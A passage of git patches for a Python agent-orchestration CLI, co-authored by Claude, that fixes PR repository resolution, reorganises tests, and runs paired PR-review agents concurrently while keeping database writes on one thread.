PR-gate-rejection comment path, so a rejection could get posted against the wrong repo entirely. Now resolves payload-first like run_core.py and fixer_act.py already do. Also: two comments/docstrings reworded to drop session-relative phrasing ("this PR touches", "pre-round-24") that reads as a development note rather than a lasting invariant; insert_pr_open_and_scan now has a direct unit test against a real Store instead of being monkeypatched away in every caller; and a test that actually exercises main._exec_argv moved out of the git_act-scoped test module it didn't belong in. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/error_fix_act.py | 2 +- src/agent_cli/main.py | 4 +-- src/agent_cli/run_core.py | 4 +-- tests/test_fixer_act.py | 45 ++++++++++++++++++++++++++++++++++ tests/test_git_act.py | 14 ----------- tests/test_github_act.py | 20 +++++++++++++++ tests/test_run.py | 14 +++++++++++ 7 files changed, 84 insertions(+), 19 deletions(-) diff --git a/src/agent_cli/error_fix_act.py b/src/agent_cli/error_fix_act.py index 16dcd53..17288af 100644 --- a/src/agent_cli/error_fix_act.py +++ b/src/agent_cli/error_fix_act.py @@ -156,7 +156,7 @@ def validate_conclusion( Callers MUST write the returned dict, not the original `payload`, to the store. Validation checks the stripped (normalized) error_id/fingerprint/ - reason; every downstream comparison this PR touches + reason; every downstream comparison (has_error_fix_activity, _chain_snapshot's error_fix_confirmed, fixer_act._error_fix_brief) does exact `==` against whatever was persisted. Persisting the raw, unstripped payload would validate one diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index 8d68183..07c5974 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -1078,10 +1078,10 @@ def _task_pull_request(task: dict) -> tuple[str, int] | None: """The task's pull request as (repo, number), or None when it has none.""" from .error_fix_act import _nonempty_str - repo = _repo_ok(task.get("repo")) + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + repo = _repo_ok(payload.get("repo") or task.get("repo")) if repo is None: return None - payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} is_error_fix = bool(_nonempty_str(payload.get("error_id"))) ref = task.get("ref") if ( diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 275f123..2f62359 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -875,8 +875,8 @@ def execute_spine_step( raw_error_id = payload.get("error_id") error_id = _nonempty_str(raw_error_id) or "" if not error_id and isinstance(raw_error_id, str) and raw_error_id != "": - # Present but strips to empty (e.g. stale pre-round-24 store row - # with a whitespace-only error_id — creation-time validation now + # Present but strips to empty (e.g. a stale store row with a + # whitespace-only error_id — creation-time validation now # rejects this for new tasks). Fail loudly instead of silently # downgrading to expected_branch=None, which would skip the push # identity check entirely as if error_id were absent. diff --git a/tests/test_fixer_act.py b/tests/test_fixer_act.py index 21438cf..f39c983 100644 --- a/tests/test_fixer_act.py +++ b/tests/test_fixer_act.py @@ -21,6 +21,7 @@ _pr_open_row_exists, _runner_to_completed, drive_error_fix_tasks, + insert_pr_open_and_scan, template_pr_open_payload, write_error_fix_spec, ) @@ -540,6 +541,50 @@ def real_runner(argv: list[str]) -> Completed: store.close() +def test_insert_pr_open_and_scan_writes_pending_and_calls_scan_github( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + """insert_pr_open_and_scan inserts pending pr.open then returns scan_github.""" + calls: list[tuple[object, object]] = [] + + def fake_scan_github(store: Store, runner: object) -> list[str]: + calls.append((store, runner)) + return ["scanned"] + + monkeypatch.setattr("agent_cli.github_act.scan_github", fake_scan_github) + + def fake_runner(_argv: list[str]) -> Completed: + raise AssertionError("runner must not be invoked directly") + + payload = { + "repo": "org/app", + "title": "t", + "body": "b", + "head": "h", + "base": "main", + } + session_id = "sess-insert-pr-open" + store = _store(tmp_path) + try: + result = insert_pr_open_and_scan( + store, + session_id=session_id, + payload=payload, + runner=fake_runner, + ) + assert result == ["scanned"] + assert len(calls) == 1 + assert calls[0][0] is store + assert calls[0][1] is fake_runner + rows = [r for r in store.rows("activity") if r.get("type") == "pr.open"] + assert len(rows) == 1 + assert rows[0].get("execution_status") == "pending" + assert rows[0].get("payload") == payload + assert rows[0].get("session_id") == session_id + finally: + store.close() + + def test_pushed_passes_expected_branch_from_error_id( tmp_path: Path, capsys: pytest.CaptureFixture[str], monkeypatch: pytest.MonkeyPatch ) -> None: diff --git a/tests/test_git_act.py b/tests/test_git_act.py index 1c87109..78b8463 100644 --- a/tests/test_git_act.py +++ b/tests/test_git_act.py @@ -3,12 +3,10 @@ from __future__ import annotations import json -import subprocess import pytest from agent_cli.git_act import GitActError, measure_mergeable, push_branch -from agent_cli.main import _exec_argv from agent_cli.runtime import Completed pytestmark = pytest.mark.no_pg @@ -921,18 +919,6 @@ def runner(argv: list[str]) -> Completed: assert not any(len(a) > 3 and a[3] == "push" for a in calls) -def test_exec_argv_timeout_returns_124(monkeypatch: pytest.MonkeyPatch) -> None: - """subprocess.TimeoutExpired from main._exec_argv becomes Completed(124).""" - - def boom(*_args, **_kwargs): # type: ignore[no-untyped-def] - raise subprocess.TimeoutExpired(cmd=["sleep", "999"], timeout=120) - - monkeypatch.setattr(subprocess, "run", boom) - completed = _exec_argv(["sleep", "999"], cwd="/tmp") - assert completed.returncode == 124 - assert completed.stderr - - def test_mergeable_open_empty_checks() -> None: def runner(argv: list[str]) -> Completed: if "pr" in argv and "view" in argv: diff --git a/tests/test_github_act.py b/tests/test_github_act.py index 378a36b..de1c8cf 100644 --- a/tests/test_github_act.py +++ b/tests/test_github_act.py @@ -1100,3 +1100,23 @@ def test_task_pull_request_error_fix_uses_payload_pr_number_not_ref() -> None: "ref": "7", } assert _task_pull_request(ordinary_no_payload) == ("org/app", 7) + + +def test_task_pull_request_prefers_payload_repo_over_task_repo() -> None: + """When task.repo and payload.repo both resolve but differ, payload wins — + same precedence as fixer_act._drive_one (which creates the PR) and + run_core's push-destination check. The pr_number backfilled by the fixer + lives on payload, so it belongs to the payload-resolved repo, not + task.repo.""" + from agent_cli.main import _task_pull_request # noqa: PLC0415 + + task = { + "repo": "org/task-repo", + "ref": "some-branch", + "payload": { + "error_id": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", + "repo": "org/payload-repo", + "pr_number": 99, + }, + } + assert _task_pull_request(task) == ("org/payload-repo", 99) diff --git a/tests/test_run.py b/tests/test_run.py index 61210b4..0c70032 100644 --- a/tests/test_run.py +++ b/tests/test_run.py @@ -1,11 +1,13 @@ from __future__ import annotations import os +import subprocess from pathlib import Path import pytest from agent_cli.lane import LaneResult +from agent_cli.main import _exec_argv from agent_cli.run_core import ( EmptyReviewDiffError, ReviewDiffUnavailableError, @@ -1993,3 +1995,15 @@ def pass_launch(**kwargs): # type: ignore[no-untyped-def] ) finally: store.close() + + +def test_exec_argv_timeout_returns_124(monkeypatch: pytest.MonkeyPatch) -> None: + """subprocess.TimeoutExpired from main._exec_argv becomes Completed(124).""" + + def boom(*_args, **_kwargs): # type: ignore[no-untyped-def] + raise subprocess.TimeoutExpired(cmd=["sleep", "999"], timeout=120) + + monkeypatch.setattr(subprocess, "run", boom) + completed = _exec_argv(["sleep", "999"], cwd="/tmp") + assert completed.returncode == 124 + assert completed.stderr From f32d303b8a67211009a983666024117dbe43b41b Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 21:03:59 -0300 Subject: [PATCH 22/47] Dispatch same-vendor PR-review dimensions in parallel, as CONTRIBUTING.md requires. grok_pr_quality/grok_pr_logic (and the codex pair) both become ready at the same time, but the driver only ever processed one per iteration via a blocking lane launch -- strictly sequential, never actually concurrent. The two dimensions now launch together via a thread pool. The concurrency is narrowly scoped: all store I/O for both dimensions happens on the calling thread, before and after the concurrent phase -- worker threads only ever call the lane launch itself, never a store method. This matters because the driver's whole scan already runs inside a store-wide advisory lock (an RLock held for the scan's duration); a worker thread touching the store from inside that window would deadlock permanently, not just race. Getting the finishing side of this right took three passes: the first rejected dimension's own finish logic used to kick off the next round immediately, before the sibling dimension's agent record was closed, which the ledger correctly refuses ("round still has a working agent") -- round-start is now deferred until both dimensions are finished. Closing out an abandoned sibling was also reasserting its pre-rejection head value, undoing the reset the first dimension's rejection had just made in the same batch -- it no longer asserts a head at all. Also: PR-gate rejection comments now carry only the extracted findings, not the full raw lane transcript (STATUS:/REASON:/SCOPE: preamble and all) that was leaking into the actual GitHub review comment; and a redundant `git diff --cached` probe that duplicated every staged hunk already covered by `git diff HEAD` is gone. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- src/agent_cli/fixer_act.py | 353 +++++++++++++++++++---- src/agent_cli/run_core.py | 560 ++++++++++++++++++++++++------------- tests/test_fixer_act.py | 109 +++++++- tests/test_run.py | 135 ++++++++- 4 files changed, 898 insertions(+), 259 deletions(-) diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py index 9c7a4a0..3f86118 100644 --- a/src/agent_cli/fixer_act.py +++ b/src/agent_cli/fixer_act.py @@ -10,14 +10,27 @@ import re import uuid from collections.abc import Callable +from concurrent.futures import ThreadPoolExecutor, as_completed from pathlib import Path from typing import Any -from .chain import close_allowed, is_error_fix_originated, next_steps +from .chain import Step, close_allowed, is_error_fix_originated, next_steps from .error_fix_act import _error_seen, _nonempty_str, _repo_ok from .lane import Runner as LaneRunner, extract_findings_text from .runtime import Completed -from .run_core import DEFAULT_ROUND_CAP, RunOutcome, _fence_marker, execute_spine_step +from .run_core import ( + DEFAULT_ROUND_CAP, + AgentLaunchPlan, + RunOutcome, + _agent_finish, + _fence_marker, + _round_start, + abandon_prepared_agent, + complete_spine_agent_step, + execute_spine_step, + launch_agent_plan, + prepare_spine_agent_step, +) from .store import Store, StoreError Runner = Callable[[list[str]], Completed] @@ -25,6 +38,12 @@ # Bound the per-task step loop (rounds × spine length, with headroom). _MAX_STEPS_PER_TASK = 40 +# Same-vendor PR-review dimensions that CONTRIBUTING.md requires in parallel. +_PR_DIMENSION_PAIRS = ( + frozenset({"grok_pr_quality", "grok_pr_logic"}), + frozenset({"codex_pr_quality", "codex_pr_logic"}), +) + _SENTENCE_BOUNDARY_RE = re.compile(r"(?<=[.!?])\s+") # Longer forms first so "Mrs" wins over "Mr" on endswith checks. _ABBREVIATIONS = ("Mrs", "e.g", "i.e", "etc", "Dr", "Mr", "vs") @@ -511,6 +530,224 @@ def _open_error_fix_tasks(store: Store) -> list[dict[str, Any]]: return out +def _ready_pr_dimension_pair(ready: list[Step]) -> list[Step] | None: + """If ready holds both dimensions of one vendor pair, return them in ready order.""" + ready_keys = {s.key for s in ready} + for pair in _PR_DIMENSION_PAIRS: + if pair <= ready_keys: + return [s for s in ready if s.key in pair] + return None + + +def _apply_drive_outcome( + store: Store, + tid: str, + outcome: RunOutcome, + *, + head: str | None, + error_id: str, + repo: str, + session_id: str, + brief: str, +) -> tuple[str | None, str | None, bool]: + """Apply one RunOutcome the way the sequential _drive_one loop does. + + Returns (return_message | None, updated_head, should_continue). + When return_message is set, the caller must return it immediately. + should_continue True means continue the outer step loop (e.g. closed / + rejected_new_round); False with no return_message means keep processing + further outcomes in the same iteration. + """ + updated_head = outcome.head_sha or head + + if outcome.kind == "idle": + return _finish_task_done(store, tid, brief=brief), updated_head, False + + if outcome.kind == "human_required": + return ( + f"error-fix-work {tid} human-required key={outcome.key}", + updated_head, + False, + ) + + if outcome.kind == "failed": + return ( + f"error-fix-work {tid} failed " + f"({outcome.message or outcome.reason or 'failed'})", + updated_head, + False, + ) + + if outcome.kind == "local_check_failed": + return f"error-fix-work {tid} failed (local_check)", updated_head, False + + if outcome.kind == "agent_handoff": + return ( + f"error-fix-work {tid} blocked (agent handoff key={outcome.key})", + updated_head, + False, + ) + + if outcome.kind == "not_closable": + return ( + f"error-fix-work {tid} not-closable " + f"key={outcome.key} ({outcome.reason})", + updated_head, + False, + ) + + if outcome.kind == "vendor_unavailable": + return ( + f"error-fix-work {tid} vendor-cli-unavailable " + f"({outcome.reason or outcome.message or 'lane unavailable'})", + updated_head, + False, + ) + + if outcome.kind == "rejected_new_round": + # PR-gate rejection resets `pushed` (see _PR_REJECT_RESET_KEYS) and + # expects a new commit — drop the stale head so the next push is + # not compared against the pre-rejection sha. Inner reviewer + # rejection keeps key="reviewer_approved" and does not reset pushed. + if outcome.key != "reviewer_approved": + updated_head = None + if error_id and repo and outcome.rejection_findings: + write_error_fix_spec( + store, + tid, + error_id=error_id, + session_id=session_id, + repo=repo, + rejection_feedback=outcome.rejection_findings, + ) + return None, updated_head, True + + if outcome.kind in ("closed", "agent_closed"): + return None, updated_head, True + + return ( + f"error-fix-work {tid} stop kind={outcome.kind}", + updated_head, + False, + ) + + +def _drive_parallel_pr_pair( + store: Store, + tid: str, + pair: list[Step], + *, + head: str | None, + spec_file: str | None, + cwd: str, + snap: dict[str, Any], + task: dict[str, Any], + runner: Runner, + lane_runner: LaneRunner | None, + round_cap: int, +) -> list[RunOutcome]: + """Prepare both dimensions on this thread, launch concurrently, finish here. + + Store I/O stays on the calling thread. Workers only call launch_agent_plan + (lane.launch) — never Store methods — so this is safe under store.exclusive's + threading.RLock. + """ + from . import main as main_mod + + exec_argv = lambda argv, cwd=None: _runner_to_completed( # noqa: E731 + runner, argv, cwd=cwd + ) + + early: list[RunOutcome] = [] + plans: list[AgentLaunchPlan] = [] + for step in pair: + # Re-snapshot so the second prepare sees agents started by the first. + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + task = store.row("task", tid) or task + prepared = prepare_spine_agent_step( + store, + tid, + step, + head=head, + spec_file=spec_file, + cwd=cwd, + snap=snap, + task=task, + exec_argv=exec_argv, + ) + if isinstance(prepared, RunOutcome): + early.append(prepared) + else: + plans.append(prepared) + + launch_results: dict[str, LaneResult | BaseException] = {} + if plans: + with ThreadPoolExecutor(max_workers=len(plans)) as pool: + futures = { + pool.submit( + launch_agent_plan, plan, runner=lane_runner, tmux=False + ): plan + for plan in plans + } + for fut in as_completed(futures): + plan = futures[fut] + try: + launch_results[plan.step.key] = fut.result() + except BaseException as exc: # noqa: BLE001 — surface to caller + launch_results[plan.step.key] = exc + + outcomes: list[RunOutcome] = list(early) + stop_sibling_finish = False + for plan in plans: + payload = launch_results[plan.step.key] + if isinstance(payload, OSError): + # Mirror execute_spine_step: release agent, re-raise for vendor-cli path. + working = main_mod._find_working_agent( + store, + tid, + role=plan.role, + vendor=plan.vendor, + round_num=plan.round_num, + ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=f"launch failed ({plan.role} {plan.vendor})", + ) + raise payload + if isinstance(payload, BaseException): + raise payload + if stop_sibling_finish: + outcomes.append( + abandon_prepared_agent( + store, + tid, + plan, + note="sibling PR dimension already rejected or failed", + ) + ) + continue + outcome = complete_spine_agent_step( + store, + tid, + plan, + payload, + round_cap=round_cap, + tmux=False, + runner=lane_runner, + exec_argv=exec_argv, + defer_round_start=True, + ) + outcomes.append(outcome) + if outcome.kind in ("rejected_new_round", "failed"): + # Match sequential semantics: one rejection owns the reset/round-start. + stop_sibling_finish = True + if any(o.needs_round_start for o in outcomes): + _round_start(tid) + return outcomes + + def _drive_one( store: Store, task: dict[str, Any], @@ -684,8 +921,52 @@ def _drive_one( repo=repo, ) + pair = _ready_pr_dimension_pair(ready) + if pair is not None: + try: + outcomes = _drive_parallel_pr_pair( + store, + tid, + pair, + head=head, + spec_file=str(spec_path) if spec_path.is_file() else None, + cwd=cwd, + snap=snap, + task=task, + runner=runner, + lane_runner=lane_runner, + round_cap=round_cap, + ) + except OSError as exc: + return ( + f"error-fix-work {tid} vendor-cli-unavailable " + f"({type(exc).__name__}: {exc})" + ) + # Process in ready order (quality then logic). Finish writes already + # happened; a terminal kind returns after that full finish pass. + continue_outer = False + for outcome in outcomes: + msg, head, cont = _apply_drive_outcome( + store, + tid, + outcome, + head=head, + error_id=error_id, + repo=repo, + session_id=session_id, + brief=brief, + ) + if msg is not None: + return msg + if cont: + continue_outer = True + if continue_outer: + continue + kind = outcomes[-1].kind if outcomes else "empty" + return f"error-fix-work {tid} stop kind={kind}" + try: - outcome: RunOutcome = execute_spine_step( + outcome = execute_spine_step( store, tid, head=head, @@ -706,60 +987,20 @@ def _drive_one( f"({type(exc).__name__}: {exc})" ) - if outcome.head_sha: - head = outcome.head_sha - - if outcome.kind == "idle": - return _finish_task_done(store, tid, brief=brief) - - if outcome.kind == "human_required": - return f"error-fix-work {tid} human-required key={outcome.key}" - - if outcome.kind == "failed": - return ( - f"error-fix-work {tid} failed " - f"({outcome.message or outcome.reason or 'failed'})" - ) - - if outcome.kind == "local_check_failed": - return f"error-fix-work {tid} failed (local_check)" - - if outcome.kind == "agent_handoff": - return f"error-fix-work {tid} blocked (agent handoff key={outcome.key})" - - if outcome.kind == "not_closable": - return ( - f"error-fix-work {tid} not-closable " - f"key={outcome.key} ({outcome.reason})" - ) - - if outcome.kind == "vendor_unavailable": - return ( - f"error-fix-work {tid} vendor-cli-unavailable " - f"({outcome.reason or outcome.message or 'lane unavailable'})" - ) - - if outcome.kind == "rejected_new_round": - # PR-gate rejection resets `pushed` (see _PR_REJECT_RESET_KEYS) and - # expects a new commit — drop the stale head so the next push is - # not compared against the pre-rejection sha. Inner reviewer - # rejection keeps key="reviewer_approved" and does not reset pushed. - if outcome.key != "reviewer_approved": - head = None - if error_id and repo and outcome.rejection_findings: - write_error_fix_spec( - store, - tid, - error_id=error_id, - session_id=session_id, - repo=repo, - rejection_feedback=outcome.rejection_findings, - ) - continue - - if outcome.kind in ("closed", "agent_closed"): + msg, head, cont = _apply_drive_outcome( + store, + tid, + outcome, + head=head, + error_id=error_id, + repo=repo, + session_id=session_id, + brief=brief, + ) + if msg is not None: + return msg + if cont: continue - return f"error-fix-work {tid} stop kind={outcome.kind}" return f"error-fix-work {tid} step-cap" diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py index 2f62359..6eefa26 100644 --- a/src/agent_cli/run_core.py +++ b/src/agent_cli/run_core.py @@ -20,6 +20,7 @@ from .lane import ( LaneResult, count_findings, + extract_findings_text, findings_header_present, has_single_terminal_report, launch, @@ -104,6 +105,24 @@ class RunOutcome: verdict: str | None = None # approved|rejected|done|… when an agent finished message: str | None = None rejection_findings: str | None = None + needs_round_start: bool = False + + +@dataclass +class AgentLaunchPlan: + """Store-free launch inputs for one prepared agent spine step. + + Built on the calling thread (all Store I/O already done). Safe to hand to a + worker that only calls lane.launch — never pass the Store on this object. + """ + + step: Step + role: str + vendor: str + round_num: int | None + head: str | None + launch_spec: str + cwd: str def _checklist_set(tid: str, key: str, status: str, *, evidence: str | None = None) -> None: @@ -331,23 +350,24 @@ def _collect_review_diff( for p in str(getattr(names, "stdout", "") or "").splitlines() if p.strip() ) - for argv_extra in (["HEAD"], ["--cached"]): - diff = exec_argv(["git", "diff", *argv_extra], cwd=cwd) - if int(getattr(diff, "returncode", 1)) != 0: - probes_ok = False - else: - text = str(getattr(diff, "stdout", "") or "") - if text.strip(): - chunks.append(text) - names = exec_argv(["git", "diff", "--name-only", *argv_extra], cwd=cwd) - if int(getattr(names, "returncode", 1)) != 0: - probes_ok = False - else: - paths.extend( - p.strip() - for p in str(getattr(names, "stdout", "") or "").splitlines() - if p.strip() - ) + # git diff HEAD already covers staged + unstaged vs HEAD; a separate + # --cached content probe would duplicate every staged hunk in the prompt. + diff = exec_argv(["git", "diff", "HEAD"], cwd=cwd) + if int(getattr(diff, "returncode", 1)) != 0: + probes_ok = False + else: + text = str(getattr(diff, "stdout", "") or "") + if text.strip(): + chunks.append(text) + names = exec_argv(["git", "diff", "--name-only", "HEAD"], cwd=cwd) + if int(getattr(names, "returncode", 1)) != 0: + probes_ok = False + else: + paths.extend( + p.strip() + for p in str(getattr(names, "stdout", "") or "").splitlines() + if p.strip() + ) # Preserve order, drop dupes. seen: set[str] = set() unique_paths: list[str] = [] @@ -489,6 +509,7 @@ def _apply_rejection_resets( *, round_cap: int | None, evidence: str, + defer_round_start: bool = False, ) -> RunOutcome: """Reset checklist keys then round-start, or fail on cap (no reset).""" task = store.row("task", tid) @@ -512,13 +533,18 @@ def _apply_rejection_resets( _reset_keys(store, tid, _REVIEWER_REJECT_RESET_KEYS, evidence=evidence) else: _reset_keys(store, tid, _PR_REJECT_RESET_KEYS, evidence=evidence) - _round_start(tid) + if defer_round_start: + needs_round_start = True + else: + _round_start(tid) + needs_round_start = False return RunOutcome( kind="rejected_new_round", key="reviewer_approved" if role == "reviewer" else None, reason=f"{role} rejected", verdict="rejected", message=f"{role} rejected; new round started", + needs_round_start=needs_round_start, ) @@ -626,6 +652,7 @@ def _finish_agent_fail( round_cap: int | None, cwd: str | None = None, exec_argv: ExecArgv | None = None, + defer_round_start: bool = False, ) -> RunOutcome: from . import main as main_mod @@ -641,7 +668,9 @@ def _finish_agent_fail( message="working agent not found after lane", ) agent_id = str(working["id"]) - evidence = findings_text[:8000] or "findings" + # PR comments should carry FINDINGS body only, not STATUS:/REASON: preamble. + extracted = extract_findings_text(findings_text) + evidence = (extracted or findings_text)[:8000] or "findings" _agent_finish(agent_id, "rejected", note="lane findings") if role in ("pr-reviewer-quality", "pr-reviewer-logic"): dim = "quality" if role.endswith("quality") else "logic" @@ -668,7 +697,12 @@ def _finish_agent_fail( evidence=evidence, ) out = _apply_rejection_resets( - store, tid, role, round_cap=round_cap, evidence=evidence + store, + tid, + role, + round_cap=round_cap, + evidence=evidence, + defer_round_start=defer_round_start, ) out.lane_result = result out.key = step.key @@ -693,6 +727,7 @@ def _lane_retry_then_fail( first: LaneResult, round_cap: int | None, exec_argv: ExecArgv | None = None, + defer_round_start: bool = False, ) -> RunOutcome: """Re-invoke launch once; on second unparseable/non-pass, fail the task.""" try: @@ -745,6 +780,7 @@ def _lane_retry_then_fail( round_cap=round_cap, cwd=cwd, exec_argv=exec_argv, + defer_round_start=defer_round_start, ) out.lane_results = [first, second] return out @@ -813,6 +849,275 @@ def _lane_retry_then_fail( ) +def prepare_spine_agent_step( + store: Store, + tid: str, + step: Step, + *, + head: str | None, + spec_file: str | None, + cwd: str | None, + snap: dict[str, Any], + task: dict[str, Any], + exec_argv: ExecArgv, +) -> RunOutcome | AgentLaunchPlan: + """All Store-touching prep for an agent step; returns a plan or an early outcome. + + Does not call lane.launch. Safe to invoke only on the thread that owns the + Store lock (including inside store.exclusive). + """ + from . import main as main_mod + + wf = str(snap["workflow"]) + already = close_allowed( + wf, + step.key, + checklist=snap["checklist"], + source="script", + evidence="run auto", + snapshot=snap, + ) + if already.allowed: + close_evidence = f"run auto:{already.reason}" + _close_step(tid=tid, key=step.key, evidence=close_evidence, head=head) + return RunOutcome( + kind="closed", + key=step.key, + step=step, + head_sha=head, + close_evidence=close_evidence, + ) + if spec_file is None: + return RunOutcome( + kind="agent_handoff", + key=step.key, + step=step, + head_sha=head, + reason="agent step needs --spec-file or finished artifact", + ) + spec_path = Path(spec_file) + if not spec_path.is_file(): + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=f"spec-file not found: {spec_file}", + message=f"spec-file not found: {spec_file}", + ) + if not spec_path.read_text(encoding="utf-8").strip(): + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=f"spec-file is empty: {spec_file}", + message=f"spec-file is empty: {spec_file}", + ) + run_cwd = cwd or os.getcwd() + role = str(step.role or "") + vendor = str(step.vendor or "") + session_id = str(snap.get("session_id") or "") + task = store.row("task", tid) or task + current_round = int(task.get("current_round") or 0) + round_num: int | None = None + if role in ("implementer", "reviewer"): + round_num = current_round + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is None: + _agent_start( + session_id=session_id, + tid=tid, + role=role, + vendor=vendor, + round_num=round_num, + ) + launch_spec = spec_file + if role in _REVIEW_ROLES: + try: + launch_spec = build_review_spec_file( + store, + tid, + role=role, + round_num=round_num, + implement_spec_file=spec_file, + cwd=run_cwd, + exec_argv=exec_argv, + ) + except EmptyReviewDiffError as exc: + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish(str(working["id"]), "unavailable", note=str(exc)) + _check_record( + tid=tid, + name="empty-review-diff", + command=f"role={role} vendor={vendor}", + result="fail", + output=str(exc), + ) + return RunOutcome( + kind="failed", + key=step.key, + step=step, + reason=str(exc), + message=str(exc), + ) + except ReviewDiffUnavailableError as exc: + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish(str(working["id"]), "unavailable", note=str(exc)) + return RunOutcome( + kind="vendor_unavailable", + key=step.key, + reason=str(exc), + message=str(exc), + ) + except OSError: + working = main_mod._find_working_agent( + store, tid, role=role, vendor=vendor, round_num=round_num + ) + if working is not None: + _agent_finish( + str(working["id"]), + "unavailable", + note=f"review-spec write failed ({role} {vendor})", + ) + raise + return AgentLaunchPlan( + step=step, + role=role, + vendor=vendor, + round_num=round_num, + head=head, + launch_spec=launch_spec, + cwd=run_cwd, + ) + + +def launch_agent_plan( + plan: AgentLaunchPlan, + *, + runner: LaneRunner | None = None, + tmux: bool = True, +) -> LaneResult: + """Call lane.launch for a prepared plan. Store-free; safe on a worker thread.""" + return launch( + role=plan.role, + vendor=plan.vendor, + spec_file=plan.launch_spec, + cwd=plan.cwd, + runner=runner, + tmux=tmux, + ) + + +def complete_spine_agent_step( + store: Store, + tid: str, + plan: AgentLaunchPlan, + result: LaneResult, + *, + round_cap: int | None, + tmux: bool = True, + runner: LaneRunner | None = None, + exec_argv: ExecArgv | None = None, + defer_round_start: bool = False, +) -> RunOutcome: + """Interpret a lane result and perform all Store writes (pass/fail/retry). + + Must run on the thread that owns the Store lock. Retry re-invokes launch on + this same thread (sequential), matching the single-step path. + """ + decision, findings_text = _interpret_lane(plan.role, result) + if decision == "pass": + out = _finish_agent_pass( + store, + tid, + role=plan.role, + vendor=plan.vendor, + round_num=plan.round_num, + head=plan.head, + result=result, + step=plan.step, + cwd=plan.cwd, + exec_argv=exec_argv, + ) + out.lane_results = [result] + return out + if decision == "fail" and findings_text is not None: + out = _finish_agent_fail( + store, + tid, + role=plan.role, + vendor=plan.vendor, + round_num=plan.round_num, + head=plan.head, + result=result, + step=plan.step, + findings_text=findings_text, + round_cap=round_cap, + cwd=plan.cwd, + exec_argv=exec_argv, + defer_round_start=defer_round_start, + ) + out.lane_results = [result] + return out + return _lane_retry_then_fail( + store, + tid, + role=plan.role, + vendor=plan.vendor, + round_num=plan.round_num, + head=plan.head, + step=plan.step, + spec_file=plan.launch_spec, + cwd=plan.cwd, + tmux=tmux, + runner=runner, + first=result, + round_cap=round_cap, + exec_argv=exec_argv, + defer_round_start=defer_round_start, + ) + + +def abandon_prepared_agent( + store: Store, + tid: str, + plan: AgentLaunchPlan, + *, + note: str, +) -> RunOutcome: + """Release a working agent without gate/checklist mutation. + + Used when a sibling PR-dimension already rejected/failed and further + pass/fail finishing would double-reset or start a second round. + """ + from . import main as main_mod + + working = main_mod._find_working_agent( + store, tid, role=plan.role, vendor=plan.vendor, round_num=plan.round_num + ) + if working is not None: + _agent_finish(str(working["id"]), "rejected", note=note) + return RunOutcome( + kind="closed", + key=plan.step.key, + step=plan.step, + reason=note, + # No head_sha: this outcome asserts nothing about head. Setting it + # to plan.head (the pre-attempt head this abandoned sibling was + # prepared with) would re-clobber a head=None reset the sibling's + # own rejected_new_round outcome already applied earlier in the + # same batch -- let whatever the caller already has stand. + head_sha=None, + ) + + def execute_spine_step( store: Store, tid: str, @@ -825,11 +1130,16 @@ def execute_spine_step( runner: LaneRunner | None = None, round_cap: int | None = None, exec_argv: ExecArgv | None = None, + only_key: str | None = None, ) -> RunOutcome: """Execute the single open spine step for tid. `round_cap=None` means unbounded (interactive `agent run`). The fixer passes an explicit int (DEFAULT_ROUND_CAP). + + When `only_key` is set, select that key from the ready list instead of + `ready[0]`. If it is absent (defensive/race), return kind=idle without + mutating state. """ from . import main as main_mod @@ -846,7 +1156,17 @@ def execute_spine_step( if not ready: return RunOutcome(kind="idle") - step = ready[0] + if only_key is not None: + matched = [s for s in ready if s.key == only_key] + if not matched: + return RunOutcome( + kind="idle", + key=only_key, + reason=f"only_key {only_key} not in ready", + ) + step = matched[0] + else: + step = ready[0] if dry_run: return RunOutcome( kind="dry_run", @@ -1055,197 +1375,45 @@ def execute_spine_step( snap = main_mod._chain_snapshot(store, tid, extra_head=head) if step.kind == "agent": - already = close_allowed( - wf, - step.key, - checklist=snap["checklist"], - source="script", - evidence="run auto", - snapshot=snap, - ) - if already.allowed: - close_evidence = f"run auto:{already.reason}" - _close_step(tid=tid, key=step.key, evidence=close_evidence, head=head) - return RunOutcome( - kind="closed", - key=step.key, - step=step, - head_sha=head, - close_evidence=close_evidence, - ) - if spec_file is None: - return RunOutcome( - kind="agent_handoff", - key=step.key, - step=step, - head_sha=head, - reason="agent step needs --spec-file or finished artifact", - ) - spec_path = Path(spec_file) - if not spec_path.is_file(): - return RunOutcome( - kind="failed", - key=step.key, - step=step, - reason=f"spec-file not found: {spec_file}", - message=f"spec-file not found: {spec_file}", - ) - if not spec_path.read_text(encoding="utf-8").strip(): - return RunOutcome( - kind="failed", - key=step.key, - step=step, - reason=f"spec-file is empty: {spec_file}", - message=f"spec-file is empty: {spec_file}", - ) - run_cwd = cwd or os.getcwd() - role = str(step.role or "") - vendor = str(step.vendor or "") - session_id = str(snap.get("session_id") or "") - # Re-read task: round may have changed - task = store.row("task", tid) or task - current_round = int(task.get("current_round") or 0) - round_num: int | None = None - if role in ("implementer", "reviewer"): - round_num = current_round - working = main_mod._find_working_agent( - store, tid, role=role, vendor=vendor, round_num=round_num + prepared = prepare_spine_agent_step( + store, + tid, + step, + head=head, + spec_file=spec_file, + cwd=cwd, + 